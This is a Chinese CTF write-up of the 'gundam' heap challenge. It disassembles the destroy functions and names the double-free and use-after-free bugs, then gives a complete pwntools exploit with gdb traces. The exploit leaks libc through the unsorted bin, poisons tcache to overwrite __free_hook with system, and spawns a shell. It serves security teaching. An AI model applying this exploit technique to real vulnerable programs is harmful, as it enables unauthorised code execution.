/ (fcn) sub.Which_gundam_do_you_want_to_Destory:_d32 240
|   sub.Which_gundam_do_you_want_to_Destory:_d32 ();
|           ; var int local_ch @ rbp-0xc
|           ; var int local_8h @ rbp-0x8
|           ; CALL XREF from 0x0000115c (main + 151)
|           0x00000d32      push rbp
|           0x00000d33      mov rbp, rsp
|           0x00000d36      sub rsp, 0x10
|           0x00000d3a      mov rax, qword fs:[0x28]                   ; [0x28:8]=0x2170 ; '('
|           0x00000d43      mov qword [local_8h], rax
|           0x00000d47      xor eax, eax
|           0x00000d49      mov eax, dword [0x0020208c]                ; [0x20208c:4]=0 ; 取出 gundam_num
|           0x00000d4f      test eax, eax
|       ,=< 0x00000d51      jne 0xd64                                   ; 不等于 0 时跳转
|       |   0x00000d53      lea rdi, str.No_gundam                     ; 0x12d7 ; "No gundam"
|       |   0x00000d5a      call sym.imp.puts                          ; int puts(const char *s)
|      ,==< 0x00000d5f      jmp 0xe07
|      ||   ; JMP XREF from 0x00000d51 (sub.Which_gundam_do_you_want_to_Destory:_d32)
|      |`-> 0x00000d64      lea rdi, str.Which_gundam_do_you_want_to_Destory: ; 0x12e8 ; "Which gundam do you want to Destory:"
|      |    0x00000d6b      mov eax, 0
|      |    0x00000d70      call sym.imp.printf                        ; int printf(const char *format)
|      |    0x00000d75      lea rax, [local_ch]
|      |    0x00000d79      mov rsi, rax
|      |    0x00000d7c      lea rdi, [0x000012cb]                      ; "%d"
|      |    0x00000d83      mov eax, 0
|      |    0x00000d88      call sym.imp.__isoc99_scanf                 ; 读入序号 i 到 [local_ch]
|      |    0x00000d8d      mov eax, dword [local_ch]
|      |    0x00000d90      cmp eax, 8
|      |,=< 0x00000d93      ja 0xdb2                                    ; 如果大于 8,函数结束
|      ||   0x00000d95      mov eax, dword [local_ch]                   ; 否则继续
|      ||   0x00000d98      mov eax, eax
|      ||   0x00000d9a      lea rdx, [rax*8]
|      ||   0x00000da2      lea rax, [0x002020a0]
|      ||   0x00000da9      mov rax, qword [rdx + rax]                  ; 取出 factory[i]
|      ||   0x00000dad      test rax, rax
|     ,===< 0x00000db0      jne 0xdc5                                   ; 如果不为 0,跳转
|     |||   ; JMP XREF from 0x00000d93 (sub.Which_gundam_do_you_want_to_Destory:_d32)
|     ||`-> 0x00000db2      lea rdi, str.Invalid_choice                ; 0x130d ; "Invalid choice"
|     ||    0x00000db9      call sym.imp.puts                          ; int puts(const char *s)
|     ||    0x00000dbe      mov eax, 0
|     ||,=< 0x00000dc3      jmp 0xe0c
|     |||   ; JMP XREF from 0x00000db0 (sub.Which_gundam_do_you_want_to_Destory:_d32)
|     `---> 0x00000dc5      mov eax, dword [local_ch]
|      ||   0x00000dc8      mov eax, eax
|      ||   0x00000dca      lea rdx, [rax*8]
|      ||   0x00000dd2      lea rax, [0x002020a0]
|      ||   0x00000dd9      mov rax, qword [rdx + rax]                  ; 取出 factory[i]
|      ||   0x00000ddd      mov dword [rax], 0                          ; 将 factory[i]->flag 置为 0
|      ||   0x00000de3      mov eax, dword [local_ch]
|      ||   0x00000de6      mov eax, eax
|      ||   0x00000de8      lea rdx, [rax*8]
|      ||   0x00000df0      lea rax, [0x002020a0]
|      ||   0x00000df7      mov rax, qword [rdx + rax]
|      ||   0x00000dfb      mov rax, qword [rax + 8]                    ; 取出 factory[i]->name
|      ||   0x00000dff      mov rdi, rax
|      ||   0x00000e02      call sym.imp.free                           ; free(factory[i]->name)
|      ||   ; JMP XREF from 0x00000d5f (sub.Which_gundam_do_you_want_to_Destory:_d32)
|      `--> 0x00000e07      mov eax, 0
|       |   ; JMP XREF from 0x00000dc3 (sub.Which_gundam_do_you_want_to_Destory:_d32)
|       `-> 0x00000e0c      mov rcx, qword [local_8h]
|           0x00000e10      xor rcx, qword fs:[0x28]
|       ,=< 0x00000e19      je 0xe20
|       |   0x00000e1b      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x00000e19 (sub.Which_gundam_do_you_want_to_Destory:_d32)
|       `-> 0x00000e20      leave
\           0x00000e21      ret

该函数用于销毁 gundam,它先将 gundam->flag 置为 0,再释放掉 gundam->name。

这里有几个问题:

  • 该函数是通过 factory[i] 来判断某个 gundam 是否存在,而在销毁 gundam 后并没有将 factory[i] 置空,导致 factory[i]->name 可能被多次释放

  • name 指针没有被置空,可能导致 UAF

  • 销毁 gundam 后没有将 gundam_num 减 1

Blow up the factory

[0x000009e0]> pdf @ sub.Done_e22
/ (fcn) sub.Done_e22 210
|   sub.Done_e22 (int arg_8h);
|           ; var int local_ch @ rbp-0xc
|           ; var int local_8h @ rbp-0x8
|           ; arg int arg_8h @ rbp+0x8
|           ; CALL XREF from 0x00001168 (main + 163)
|           0x00000e22      push rbp
|           0x00000e23      mov rbp, rsp
|           0x00000e26      sub rsp, 0x10
|           0x00000e2a      mov rax, qword fs:[0x28]                   ; [0x28:8]=0x2170 ; '('
|           0x00000e33      mov qword [local_8h], rax
|           0x00000e37      xor eax, eax
|           0x00000e39      mov dword [local_ch], 0                     ; 循环计数 i,初始化为 0
|       ,=< 0x00000e40      jmp 0xec7                                   ; 开始循环
|       |   ; JMP XREF from 0x00000ecb (sub.Done_e22)
|      .--> 0x00000e45      mov eax, dword [local_ch]
|      :|   0x00000e48      lea rdx, [rax*8]
|      :|   0x00000e50      lea rax, [0x002020a0]
|      :|   0x00000e57      mov rax, qword [rdx + rax]                  ; 取出 factory[i]
|      :|   0x00000e5b      test rax, rax
|     ,===< 0x00000e5e      je 0xec3                                    ; 为 0 时跳转,下一次循环
|     |:|   0x00000e60      mov eax, dword [local_ch]                   ; 否则继续
|     |:|   0x00000e63      lea rdx, [rax*8]
|     |:|   0x00000e6b      lea rax, [0x002020a0]
|     |:|   0x00000e72      mov rax, qword [rdx + rax]
|     |:|   0x00000e76      mov eax, dword [rax]                        ; 取出 factory[i]->flag
|     |:|   0x00000e78      test eax, eax
|    ,====< 0x00000e7a      jne 0xec3                                   ; 不等于 0 时跳转,下一次循环
|    ||:|   0x00000e7c      mov eax, dword [local_ch]                   ; 否则继续
|    ||:|   0x00000e7f      lea rdx, [rax*8]
|    ||:|   0x00000e87      lea rax, [0x002020a0]
|    ||:|   0x00000e8e      mov rax, qword [rdx + rax]                  ; 取出 factory[i]
|    ||:|   0x00000e92      mov rdi, rax
|    ||:|   0x00000e95      call sym.imp.free                           ; free(factory[i])
|    ||:|   0x00000e9a      mov eax, dword [local_ch]
|    ||:|   0x00000e9d      lea rdx, [rax*8]
|    ||:|   0x00000ea5      lea rax, [0x002020a0]
|    ||:|   0x00000eac      mov qword [rdx + rax], 0                    ; 将 factory[i] 置为 0
|    ||:|   0x00000eb4      mov eax, dword [0x0020208c]                ; [0x20208c:4]=0 ; 取出 gundam_num
|    ||:|   0x00000eba      sub eax, 1                                  ; gundam_num -= 1
|    ||:|   0x00000ebd      mov dword [0x0020208c], eax                ; [0x20208c:4]=0 ; 写回去
|    ||:|   ; JMP XREF from 0x00000e5e (sub.Done_e22)
|    ||:|   ; JMP XREF from 0x00000e7a (sub.Done_e22)
|    ``---> 0x00000ec3      add dword [local_ch], 1                     ; i = i + 1
|      :|   ; JMP XREF from 0x00000e40 (sub.Done_e22)
|      :`-> 0x00000ec7      cmp dword [local_ch], 8                     ; 最多有 9 个 gundam
|      `==< 0x00000ecb      jbe 0xe45                                   ; 循环继续
|           0x00000ed1      lea rdi, str.Done                          ; 0x131c ; "Done!"
|           0x00000ed8      call sym.imp.puts                          ; int puts(const char *s)
|           0x00000edd      nop
|           0x00000ede      mov rax, qword [local_8h]
|           0x00000ee2      xor rax, qword fs:[0x28]
|       ,=< 0x00000eeb      je 0xef2
|       |   0x00000eed      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x00000eeb (sub.Done_e22)
|       `-> 0x00000ef2      leave
\           0x00000ef3      ret

该函数会找出所有 factory[i] 不为 0,且 factory[i]->flag 为 0 的 gundam,然后将该 gundam 结构体释放掉,factory[i] 置为 0,最后 gundam_num 每次减 1。

经过这个过程,销毁 gundam 留下的问题基本解决了,除了 name 指针依然存在。

Exploit

所以利用过程如下:

  1. 利用被放入 unsorted bin 的 chunk 泄漏 libc 基址,可以计算出 __free_hook 和 system 的地址。

  2. 利用 double free,将 __free_hook 修改为 system。

  3. 当调用 free 的时候就会调用 system,获得 shell。

leak

def leak():
    global __free_hook_addr
    global system_addr

    for i in range(9):
        build('A'*7)
    for i in range(7):
        destroy(i)      # tcache bin
    destroy(7)          # unsorted bin

    blow_up()
    for i in range(8):
        build('A'*7)

    visit()
    leak =  u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
    libc_base = leak - 0x3dac78     # 0x3dac78 = libc_base - leak
    __free_hook_addr = libc_base + libc.symbols['__free_hook']
    system_addr = libc_base + libc.symbols['system']

    log.info("libc base: 0x%x" % libc_base)
    log.info("__free_hook address: 0x%x" % __free_hook_addr)
    log.info("system address: 0x%x" % system_addr)

chunk 被放进 unsorted bin 时:

gdb-peda$ vmmap heap
Start              End                Perm      Name
0x0000555555757000 0x0000555555778000 rw-p      [heap]
gdb-peda$ x/30gx 0x0000555555757000+0x10
0x555555757010: 0x0000000000000000      0x0700000000000000  <-- counts
0x555555757020: 0x0000000000000000      0x0000000000000000
0x555555757030: 0x0000000000000000      0x0000000000000000
0x555555757040: 0x0000000000000000      0x0000000000000000
0x555555757050: 0x0000000000000000      0x0000000000000000
0x555555757060: 0x0000000000000000      0x0000000000000000
0x555555757070: 0x0000000000000000      0x0000000000000000
0x555555757080: 0x0000000000000000      0x0000000000000000
0x555555757090: 0x0000000000000000      0x0000000000000000
0x5555557570a0: 0x0000000000000000      0x0000000000000000
0x5555557570b0: 0x0000000000000000      0x0000000000000000
0x5555557570c0: 0x0000000000000000      0x0000555555757a10  <-- entries
0x5555557570d0: 0x0000000000000000      0x0000000000000000
0x5555557570e0: 0x0000000000000000      0x0000000000000000
0x5555557570f0: 0x0000000000000000      0x0000000000000000
gdb-peda$ x/6gx 0x555555757b50-0x10
0x555555757b40: 0x0000000000000000      0x0000000000000111
0x555555757b50: 0x00007ffff7dd2c78      0x00007ffff7dd2c78  <-- unsorted bin
0x555555757b60: 0x0000000000000000      0x0000000000000000
gdb-peda$ vmmap libc
Start              End                Perm      Name
0x00007ffff79f8000 0x00007ffff7bce000 r-xp      /home/firmy/gundam/libc-2.26.so
0x00007ffff7bce000 0x00007ffff7dce000 ---p      /home/firmy/gundam/libc-2.26.so
0x00007ffff7dce000 0x00007ffff7dd2000 r--p      /home/firmy/gundam/libc-2.26.so
0x00007ffff7dd2000 0x00007ffff7dd4000 rw-p      /home/firmy/gundam/libc-2.26.so
gdb-peda$ p 0x00007ffff7dd2c78 - 0x00007ffff79f8000
$1 = 0x3dac78

可以看到对应的 tcache bin 中已经放满了 7 个 chunk,所以第 8 块 chunk 被放进了 unsorted bin。

再次 malloc 之后:

gdb-peda$ x/6gx 0x555555757b50-0x10
0x555555757b40: 0x0000000000000000      0x0000000000000111
0x555555757b50: 0x0a41414141414141      0x00007ffff7dd2c78
0x555555757b60: 0x0000000000000000      0x0000000000000000

可以看到程序并没有在字符串后加 \x00 隔断,所以可以将 unsorted bin 的地址泄漏出来,然后通过计算得到 libc 基址。

[*] libc base: 0x7ffff79f8000
[*] __free_hook address: 0x7ffff7dd48a8
[*] system address: 0x7ffff7a3fdc0

overwrite

def overwrite():
    destroy(2)
    destroy(1)
    destroy(0)
    destroy(0)      # double free

    blow_up()
    build(p64(__free_hook_addr))    # 0
    build('/bin/sh\x00')            # 1
    build(p64(system_addr))         # 2

触发 double free 时:

gdb-peda$ x/30gx 0x0000555555757000+0x10
0x555555757010: 0x0000000000000000      0x0400000000000000  <-- counts
0x555555757020: 0x0000000000000000      0x0000000000000000
0x555555757030: 0x0000000000000000      0x0000000000000000
0x555555757040: 0x0000000000000000      0x0000000000000000
0x555555757050: 0x0000000000000000      0x0000000000000000
0x555555757060: 0x0000000000000000      0x0000000000000000
0x555555757070: 0x0000000000000000      0x0000000000000000
0x555555757080: 0x0000000000000000      0x0000000000000000
0x555555757090: 0x0000000000000000      0x0000000000000000
0x5555557570a0: 0x0000000000000000      0x0000000000000000
0x5555557570b0: 0x0000000000000000      0x0000000000000000
0x5555557570c0: 0x0000000000000000      0x0000555555757a10  <-- entries
0x5555557570d0: 0x0000000000000000      0x0000000000000000
0x5555557570e0: 0x0000000000000000      0x0000000000000000
0x5555557570f0: 0x0000000000000000      0x0000000000000000
gdb-peda$ x/6gx 0x0000555555757a10-0x10
0x555555757a00: 0x0000000000000000      0x0000000000000111
0x555555757a10: 0x0000555555757a10      0x0000000000000000  <-- fd pointer
0x555555757a20: 0x0000000000000000      0x0000000000000000

其 fd 指针指向了它自己。

接下来的 malloc 将改写 __free_hook 的地址:

gdb-peda$ x/6gx 0x0000555555757a10-0x10
0x555555757a00: 0x0000000000000000      0x0000000000000111
0x555555757a10: 0x0068732f6e69622f      0x000000000000000a
0x555555757a20: 0x0000000000000000      0x0000000000000000
gdb-peda$ x/gx 0x00007ffff7dd48a8
0x7ffff7dd48a8 <__free_hook>:   0x00007ffff7a3fdc0
gdb-peda$ p system
$2 = {<text variable, no debug info>} 0x7ffff7a3fdc0 <system>

pwn

def pwn():
    destroy(1)
    io.interactive()

Bingo!!!

$ python exp.py
[+] Starting local process './gundam': pid 7264
[*] Switching to interactive mode
$ whoami
firmy

exploit

完整的 exp 如下:

#!/usr/bin/env python

from pwn import *

#context.log_level = 'debug'

io = process(['./gundam'], env={'LD_PRELOAD':'./libc-2.26.so'})
#elf = ELF('gundam')
libc = ELF('libc-2.26.so')

def build(name):
    io.sendlineafter("choice : ", '1')
    io.sendlineafter("gundam :", name)
    io.sendlineafter("gundam :", '0')

def visit():
    io.sendlineafter("choice : ", '2')

def destroy(idx):
    io.sendlineafter("choice : ", '3')
    io.sendlineafter("Destory:", str(idx))

def blow_up():
    io.sendlineafter("choice : ", '4')

def leak():
    global __free_hook_addr
    global system_addr

    for i in range(9):
        build('A'*7)
    for i in range(7):
        destroy(i)      # tcache bin
    destroy(7)          # unsorted bin

    blow_up()
    for i in range(8):
        build('A'*7)

    visit()
    leak =  u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
    libc_base = leak - 0x3dac78     # 0x3dac78 = libc_base - leak
    __free_hook_addr = libc_base + libc.symbols['__free_hook']
    system_addr = libc_base + libc.symbols['system']

    log.info("libc base: 0x%x" % libc_base)
    log.info("__free_hook address: 0x%x" % __free_hook_addr)
    log.info("system address: 0x%x" % system_addr)

def overwrite():
    destroy(2)
    destroy(1)
    destroy(0)
    destroy(0)      # double free

    blow_up()
    build(p64(__free_hook_addr))    # 0
    build('/bin/sh\x00')            # 1
    build(p64(system_addr))         # 2

def pwn():
    destroy(1)
    io.interactive()

if __name__ == "__main__":
    leak()
    overwrite()
    pwn()

参考资料

https://ctftime.org/task/5924
下载文件
题目复现
题目解析
漏洞利用
参考资料